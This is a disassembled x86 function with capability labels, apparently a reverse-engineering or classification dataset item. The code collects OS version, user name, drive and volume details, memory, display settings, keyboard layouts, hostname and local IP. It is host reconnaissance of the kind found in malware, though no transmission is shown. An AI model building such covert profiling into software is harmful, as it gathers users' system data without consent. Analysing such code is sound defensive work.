Function at 0x407dac
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xd0
push 0
push 0
dec ecx
jne 0x407db4
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x409193
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.0040372c
mov dword [ebp - 0xf0], 0x94
lea eax, [ebp - 0xf0]
push eax
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [ebp - 0xe0], 2
jne 0x407e02
lea eax, [ebp - 0x14]
mov edx, 0x4091a8
call fcn.004037c4
jmp 0x407e2a
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5ec]
call fcn.00405498
mov ecx, dword [ebp - 0x5ec]
lea eax, [ebp - 0x14]
mov edx, 0x4091c4
call fcn.004038f0
cmp byte [0x415b40], 0
je 0x407e42
lea eax, [ebp - 0x10]
mov edx, 0x4091e0
call fcn.004037c4
jmp 0x407e4f
lea eax, [ebp - 0x10]
mov edx, 0x4091f0
call fcn.004037c4
mov eax, dword [ebp - 0xec]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f0]
call fcn.00405498
push dword [ebp - 0x5f0]
push 0x409200
mov eax, dword [ebp - 0xe8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f4]
call fcn.00405498
push dword [ebp - 0x5f4]
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x18]
mov edx, 0x40920c
call fcn.004039f0
jne 0x407eb3
lea eax, [ebp - 0x10]
mov edx, 0x409218
call fcn.004037c4
lea eax, [ebp - 0x24]
lea edx, [ebp - 0xdc]
mov ecx, 0x80
call fcn.0040388c
mov eax, dword [ebp - 0x24]
mov edx, 0x409228
call fcn.004039f0
jne 0x407ee4
lea eax, [ebp - 0x24]
mov edx, 0x409240
call fcn.004037c4
jmp 0x407f3c
mov eax, dword [ebp - 0x24]
mov edx, 0x40924c
call fcn.004039f0
jne 0x407f02
lea eax, [ebp - 0x24]
mov edx, 0x409264
call fcn.004037c4
jmp 0x407f3c
mov eax, dword [ebp - 0x24]
mov edx, 0x409270
call fcn.004039f0
jne 0x407f20
lea eax, [ebp - 0x24]
mov edx, 0x409288
call fcn.004037c4
jmp 0x407f3c
mov eax, dword [ebp - 0x24]
mov edx, 0x409294
call fcn.004039f0
jne 0x407f3c
lea eax, [ebp - 0x24]
mov edx, 0x4092ac
call fcn.004037c4
mov eax, dword [ebp - 0xe4]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f8]
call fcn.00405498
mov ecx, dword [ebp - 0x5f8]
lea eax, [ebp - 0x1c]
mov edx, 0x4092b8
call fcn.004038f0
push dword [ebp - 0x10]
push 0x4092c8
push dword [ebp - 0x18]
push 0x4092d4
push dword [ebp - 0x24]
push 0x4092d4
push dword [ebp - 0x1c]
push 0x4092d4
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00403964
push 0x4092e0
push dword [ebp - 0x14]
push 0x4092e0
push dword [ebp - 0x10]
push 0x4092c8
push dword [ebp - 0x18]
push 0x4092e0
push dword [ebp - 0x1c]
push 0x4092e0
push dword [ebp - 0x24]
push 0x4092e0
push 0x4092ec
push dword [0x415adc]
push 0x409300
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 0xf
call fcn.00403964
push 0xfa
lea eax, [ebp - 0x5c7]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov eax, dword [ebp - 4]
push dword [eax]
push 0x40930c
lea eax, [ebp - 0x5fc]
lea edx, [ebp - 0x5c7]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x5fc]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 4
call fcn.00403964
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
mov ecx, 0x409320
mov edx, 0x409334
mov eax, 0x80000001
call fcn.00406d10
mov eax, dword [ebp - 4]
push dword [eax]
push 0x409358
push dword [ebp - 0x10]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 4
call fcn.00403964
push dword [ebp - 0x20]
push dword [ebp - 0x10]
push 0x4092d4
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 4]
push dword [eax]
push 0x40936c
push dword [0x415ad8]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 4
call fcn.00403964
push dword [ebp - 0x20]
push 0x409384
push dword [0x415ad8]
push 0x4092d4
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00403964
mov dword [ebp - 0x58], 0x32
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x5c7]
push eax
call sub.advapi32.dll_GetUserNameA
mov eax, dword [ebp - 4]
push dword [eax]
push 0x409394
lea eax, [ebp - 0x600]
lea edx, [ebp - 0x5c7]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x600]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 4
call fcn.00403964
push dword [ebp - 0x20]
push 0x4093a8
lea eax, [ebp - 0x604]
lea edx, [ebp - 0x5c7]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x604]
push 0x4092d4
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00403964
lea eax, [ebp - 0x10]
mov edx, 0x4093b8
call fcn.004037c4
lea eax, [ebp - 0x14]
mov ecx, 0x4093dc
mov edx, dword [ebp - 0x10]
call fcn.004038f0
lea eax, [ebp - 0x114]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov eax, dword [0x4141f8]
push eax
mov ecx, 0x4093f8
mov edx, dword [ebp - 0x14]
mov eax, 0x80000002
call fcn.00406c48
lea edx, [ebp - 0x18]
call fcn.00405478
mov eax, dword [ebp - 0x18]
call fcn.004038a4
cmp eax, 3
jge 0x4081c4
push 0
push 0x100000
push ebp
call fcn.00407d2c
pop ecx
call fcn.00404084
jno 0x4081ba
call fcn.00402f1c
push edx
push eax
lea eax, [ebp - 0x18]
call fcn.00405498
push dword [ebp - 0x20]
push 0x409408
push dword [ebp - 0x18]
push 0x4092d4
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00403964
mov eax, dword [ebp - 4]
push dword [eax]
push 0x409418
push 0x409424
push dword [ebp - 0x18]
push 0x409434
push 0x4092e0
push 0x409444
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x608]
push eax
mov ecx, 0x40945c
mov edx, dword [ebp - 0x14]
mov eax, 0x80000002
call fcn.00406d10
push dword [ebp - 0x608]
push 0x4092e0
push 0x409478
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x60c]
push eax
mov ecx, 0x409490
mov edx, dword [ebp - 0x14]
mov eax, 0x80000002
call fcn.00406d10
push dword [ebp - 0x60c]
push 0x4092e0
push 0x4094a4
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x610]
push eax
mov ecx, 0x4094b8
mov edx, dword [ebp - 0x14]
mov eax, 0x80000002
call fcn.00406d10
push dword [ebp - 0x610]
push 0x4092e0
push 0x4094d4
mov eax, dword [ebp - 0xfc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x614]
call fcn.00405498
push dword [ebp - 0x614]
push 0x4092e0
push 0x4094ec
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x618]
push eax
mov ecx, 0x409504
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406d10
push dword [ebp - 0x618]
push 0x4092e0
push 0x409520
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x61c]
push eax
mov ecx, 0x409534
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406d10
push dword [ebp - 0x61c]
push 0x4092e0
push 0x40954c
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x620]
push eax
mov ecx, 0x40956c
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406d10
push dword [ebp - 0x620]
push 0x4092e0
push 0x409588
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x624]
push eax
mov ecx, 0x4095a4
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406d10
push dword [ebp - 0x624]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 0x1e
call fcn.00403964
lea eax, [ebp - 0x10]
mov edx, 0x4095bc
call fcn.004037c4
xor eax, eax
mov dword [ebp - 0x2c], eax
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
call fcn.00405478
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x628]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x4095cc
call fcn.004038f0
mov ecx, dword [ebp - 0x628]
mov edx, 0x4095e4
mov eax, 0x80000002
call fcn.00406d10
mov eax, dword [ebp - 0x18]
call fcn.004038a4
test eax, eax
jle 0x408418
mov eax, dword [ebp - 4]
push dword [eax]
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 4
call fcn.00403964
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x62c]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x40960c
call fcn.004038f0
mov ecx, dword [ebp - 0x62c]
mov edx, 0x409628
mov eax, 0x80000002
call fcn.00406d10
mov eax, dword [ebp - 0x18]
call fcn.004038a4
test eax, eax
jle 0x408478
mov eax, dword [ebp - 4]
push dword [eax]
push dword [ebp - 0x10]
push dword [ebp - 0x18]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 4
call fcn.00403964
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 7
jne 0x4083ad
mov eax, dword [0x4141f8]
push eax
mov ecx, 0x409654
mov edx, 0x40966c
mov eax, 0x80000002
call fcn.00406c48
lea edx, [ebp - 0x1c]
call fcn.00405478
mov eax, dword [ebp - 0x1c]
call fcn.004038a4
test eax, eax
jle 0x4084cd
push 0x4096b4
push dword [ebp - 0x1c]
push 0x4092e0
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403964
mov dword [ebp - 0x134], 0x20
lea eax, [ebp - 0x134]
push eax
call sub.KERNEL32.DLL_GlobalMemoryStatus
mov eax, dword [ebp - 0x12c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x10]
call fcn.00405498
push dword [ebp - 0x20]
push 0x4096cc
push dword [ebp - 0x10]
push 0x4092d4
push dword [0x415adc]
push 0x4092d4
lea eax, [ebp - 0x20]
mov edx, 6
call fcn.00403964
mov eax, dword [ebp - 4]
push dword [eax]
push 0x409418
push 0x4096dc
push 0x4092e0
push 0x4096f0
push dword [ebp - 0x10]
push 0x409708
push 0x4092e0
push 0x409714
mov eax, dword [ebp - 0x130]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x630]
call fcn.00405498
push dword [ebp - 0x630]
push 0x409724
push 0x4092e0
push 0x409730
mov eax, dword [ebp - 0x128]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x634]
call fcn.00405498
push dword [ebp - 0x634]
push 0x409708
push 0x4092e0
push 0x409418
push 0x409748
push 0x4092e0
push 0x40975c
mov eax, dword [ebp - 0x124]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x638]
call fcn.00405498
push dword [ebp - 0x638]
push 0x409708
push 0x4092e0
push 0x409770
mov eax, dword [ebp - 0x120]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x63c]
call fcn.00405498
push dword [ebp - 0x63c]
push 0x409708
push 0x4092e0
push 0x409784
mov eax, dword [ebp - 0x11c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x640]
call fcn.00405498
push dword [ebp - 0x640]
push 0x409708
push 0x4092e0
push 0x40979c
mov eax, dword [ebp - 0x118]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x644]
call fcn.00405498
push dword [ebp - 0x644]
push 0x409708
push 0x4092e0
push 0x4092e0
push 0x4097b4
push dword [0x415aec]
push 0x4092e0
push dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov edx, 0x28
call fcn.00403964
lea eax, [ebp - 0x2c4]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0xff
lea eax, [ebp - 0x5c7]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x5c7]
push eax
call sub.wsock32.dll_gethostbyname
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 0x10]
call fcn.0040385c
mov eax, dword [ebp - 4]
push dword [eax]
push 0x4097c4
push dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov edx, 3
call fcn.00403964
push dword [ebp - 0x20]
push 0x4097d8
push dword [ebp - 0x10]
push 0x4092d4
push 0x4097e4
lea eax, [ebp - 0x20]
mov edx, 5
call fcn.00403964
call sub.wsock32.dll_WSACleanup
mov eax, dword [ebp - 4]
push dword [eax]
push 0x4092e0
push 0x4092e0
push 0x4097f4
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 5
call fcn.00403964
mov byte [ebp - 9], 0x42
lea eax, [ebp - 0x648]
mov dl, byte [ebp - 9]
call fcn.0040384c
mov edx, dword [ebp - 0x648]
lea eax, [ebp - 0x28]
mov ecx, 0x40980c
call fcn.004038f0
mov eax, dword [ebp - 0x28]
call fcn.00403aa4
push eax
call sub.KERNEL32.DLL_GetDriveTypeA
cmp eax, 6
ja case.0x408772.0
jmp dword [eax*4 + 0x408779]
lea eax, [ebp - 0x10]
mov edx, 0x409818
call fcn.004037c4
lea eax, [ebp - 0x14]
mov edx, 0x40982c
call fcn.004037c4
jmp 0x40885e
lea eax, [ebp - 0x10]
mov edx, 0x409838
call fcn.004037c4
lea eax, [ebp - 0x14]
mov edx, 0x409848
call fcn.004037c4
jmp 0x40885e
lea eax, [ebp - 0x10]
mov edx, 0x409854
call fcn.004037c4
lea eax, [ebp - 0x14]
mov edx, 0x409864
call fcn.004037c4
jmp 0x40885e
lea eax, [ebp - 0x10]
mov edx, 0x409874
call fcn.004037c4
lea eax, [ebp - 0x14]
mov edx, 0x409884
call fcn.004037c4
mov eax, dword [ebp - 4]
push dword [eax]
push 0x4092e0
push 0x409418
push dword [ebp - 0x28]
push dword [ebp - 0x10]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 6
call fcn.00403964
lea eax, [ebp - 0x10]
call fcn.0040372c
jmp 0x40885e
lea eax, [ebp - 0x10]
mov edx, 0x409890
call fcn.004037c4
lea eax, [ebp - 0x14]
mov edx, 0x4098a0
call fcn.004037c4
jmp 0x40885e
lea eax, [ebp - 0x10]
call fcn.0040372c
mov eax, dword [ebp - 0x10]
call fcn.004038a4
dec eax
jl 0x408ab2
push dword [ebp - 0x20]
lea eax, [ebp - 0x64c]
mov dl, byte [ebp - 9]
call fcn.0040384c
push dword [ebp - 0x64c]
push 0x4098b4
push dword [ebp - 0x14]
lea eax, [ebp - 0x20]
mov edx, 4
call fcn.00403964
mov eax, dword [ebp - 4]
push dword [eax]
push 0x409418
push dword [ebp - 0x28]
push 0x4092e0
push 0x4098c0
push dword [ebp - 0x10]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 7
call fcn.00403964
push 0x64
lea eax, [ebp - 0x4cc]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x30]
push eax
push 0x104
lea eax, [ebp - 0x3c8]
push eax
mov eax, dword [ebp - 0x28]
call fcn.00403aa4
push eax
call sub.KERNEL32.DLL_GetVolumeInformationA
test eax, eax
je 0x4089c0
mov eax, dword [ebp - 4]
push dword [eax]
push 0x4098d0
lea eax, [ebp - 0x650]
lea edx, [ebp - 0x3c8]
mov ecx, 0x104
call fcn.0040388c
push dword [ebp - 0x650]
push 0x4092e0
push 0x4098e0
lea eax, [ebp - 0x654]
lea edx, [ebp - 0x4cc]
mov ecx, 0x104
call fcn.0040388c
push dword [ebp - 0x654]
push 0x4092e0
push 0x4098f0
mov eax, dword [ebp - 0x30]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x658]
call fcn.00405498
push dword [ebp - 0x658]
push 0x4092e0
push 0x409900
mov eax, dword [ebp - 0x34]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x65c]
call fcn.00405498
push dword [ebp - 0x65c]
push 0x4092e0
push 0x409914
mov eax, dword [ebp - 0x38]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x660]
call fcn.00405498
push dword [ebp - 0x660]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 0x10
call fcn.00403964
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
mov eax, dword [ebp - 0x28]
call fcn.00403aa4
push eax
call sub.KERNEL32.DLL_GetDiskFreeSpaceExA
test eax, eax
je 0x408ab2
mov eax, dword [ebp - 4]
push dword [eax]
push 0x409924
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.00404084
jno 0x408a05
call fcn.00402f1c
push edx
push eax
lea eax, [ebp - 0x664]
call fcn.00405498
push dword [ebp - 0x664]
push 0x409708
push 0x4092e0
push 0x409934
push 0
push 0x100000
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
call fcn.00404084
jno 0x408a40
call fcn.00402f1c
push edx
push eax
lea eax, [ebp - 0x668]
call fcn.00405498
push dword [ebp - 0x668]
push 0x409708
push 0x4092e0
push 0x409944
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
sub eax, dword [ebp - 0x50]
sbb edx, dword [ebp - 0x4c]
jno 0x408a7c
call fcn.00402f1c
call fcn.00404084
jno 0x408a88
call fcn.00402f1c
push edx
push eax
lea eax, [ebp - 0x66c]
call fcn.00405498
push dword [ebp - 0x66c]
push 0x409708
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 0xd
call fcn.00403964
inc byte [ebp - 9]
cmp byte [ebp - 9], 0x5b
jne 0x40873a
push 0
push 0
push 0
push 0x40994c
call sub.gdi32.dll_CreateDCA
mov dword [ebp - 0x54], eax
push 8
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.00405478
push 0xa
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x14]
call fcn.00405478
push 0x74
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x18]
call fcn.00405478
push 0xc
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x1c]
call fcn.00405478
mov eax, dword [ebp - 0x54]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 4]
push dword [eax]
push 0x409418
push 0x40995c
push 0x4092e0
push 0x409970
push dword [ebp - 0x10]
push 0x4092e0
push 0x409980
push dword [ebp - 0x14]
push 0x4092e0
push 0x409994
push dword [ebp - 0x18]
push 0x4092e0
push 0x4099a8
push dword [ebp - 0x1c]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 0x10
call fcn.00403964
push dword [ebp - 0x20]
push 0x4092d4
push 0x4099c0
push dword [ebp - 0x10]
push 0x4099d0
push dword [ebp - 0x14]
push 0x4099dc
push dword [ebp - 0x18]
push 0x4099d0
push dword [ebp - 0x1c]
lea eax, [ebp - 0x20]
mov edx, 0xa
call fcn.00403964
lea eax, [ebp - 0x5e8]
xor ecx, ecx
mov edx, 7
call fcn.00402bd8
lea eax, [ebp - 0x5e8]
push eax
push 8
call sub.user32.dll_GetKeyboardLayoutList
mov dword [ebp - 0x58], eax
push 0x4099e8
mov eax, dword [ebp - 0x58]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x670]
call fcn.00405498
push dword [ebp - 0x670]
push 0x4092e0
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x58]
sub eax, 1
jae 0x408c10
call fcn.00402f1c
test eax, eax
jns 0x408c19
call fcn.00402f14
test eax, eax
jl 0x40908a
inc eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x2c]
cmp eax, 7
jbe 0x408c39
call fcn.00402f14
mov eax, dword [ebp + eax*4 - 0x5e8]
and eax, 0xff
cmp eax, 0x38
ja case.0x408c4e.0
jmp dword [eax*4 + 0x408c55]
lea eax, [ebp - 0x1c]
mov edx, 0x409a04
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409a14
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409a24
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409a34
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409a44
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409a54
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409a64
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409a74
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409a84
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409a94
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409aa4
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409ab4
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409ac4
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409ad0
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409ae4
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409af8
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409b08
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409b18
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409b28
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409b38
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409b48
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409b58
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409b6c
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409b80
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409b94
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409ba4
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409bb8
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409bc8
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409bd8
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409bec
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409c00
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409c10
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409c24
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409c38
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409c44
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409c54
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409c68
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409c78
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409c88
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409c98
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409ca8
call fcn.004037c4
jmp case.0x408c4e.0
lea eax, [ebp - 0x1c]
mov edx, 0x409cb4
call fcn.004037c4
push dword [ebp - 0x10]
lea edx, [ebp - 0x674]
mov eax, dword [ebp - 0x2c]
add eax, 1
jno 0x409026
call fcn.00402f1c
call fcn.00405478
push dword [ebp - 0x674]
push 0x409cc4
mov eax, dword [ebp - 0x2c]
cmp eax, 7
jbe 0x409043
call fcn.00402f14
mov eax, dword [ebp + eax*4 - 0x5e8]
and eax, 0xff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x678]
call fcn.00405498
push dword [ebp - 0x678]
push 0x4092c8
push dword [ebp - 0x1c]
push 0x4092e0
lea eax, [ebp - 0x10]
mov edx, 7
call fcn.00403964
inc dword [ebp - 0x2c]
dec dword [ebp - 0x5c]
jne 0x408c2c
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
call fcn.004038ac
mov eax, dword [ebp - 4]
lea eax, [ebp - 0x18]
mov edx, 0x409cd0
call fcn.004037c4
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
mov ecx, 0x409cec
mov edx, dword [ebp - 0x18]
mov eax, 0x80000001
call fcn.00406d10
cmp dword [ebp - 0x10], 0
je 0x409124
mov eax, dword [ebp - 4]
push dword [eax]
push 0x409418
push 0x409d00
push dword [ebp - 0x10]
push 0x4092e0
push 0x409d18
mov eax, dword [0x4141f8]
push eax
push 0x400
lea eax, [ebp - 0x67c]
push eax
mov ecx, 0x409d2c
mov edx, dword [ebp - 0x18]
mov eax, 0x80000002
call fcn.00406d10
push dword [ebp - 0x67c]
push 0x4092e0
mov eax, dword [ebp - 4]
mov edx, 8
call fcn.00403964
push 0x409d3c
push dword [ebp - 0x20]
push 0x4092e0
push 0x409d64
push 0x4092e0
push 0x409d74
lea edx, [ebp - 0x680]
mov eax, 0x71
call fcn.00405478
push dword [ebp - 0x680]
mov eax, dword [ebp - 4]
push dword [eax]
mov eax, dword [ebp - 4]
mov edx, 8
call fcn.00403964
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40919a
lea eax, [ebp - 0x680]
mov edx, 0x26
call fcn.00403750
lea eax, [ebp - 0x28]
mov edx, 7
call fcn.00403750
ret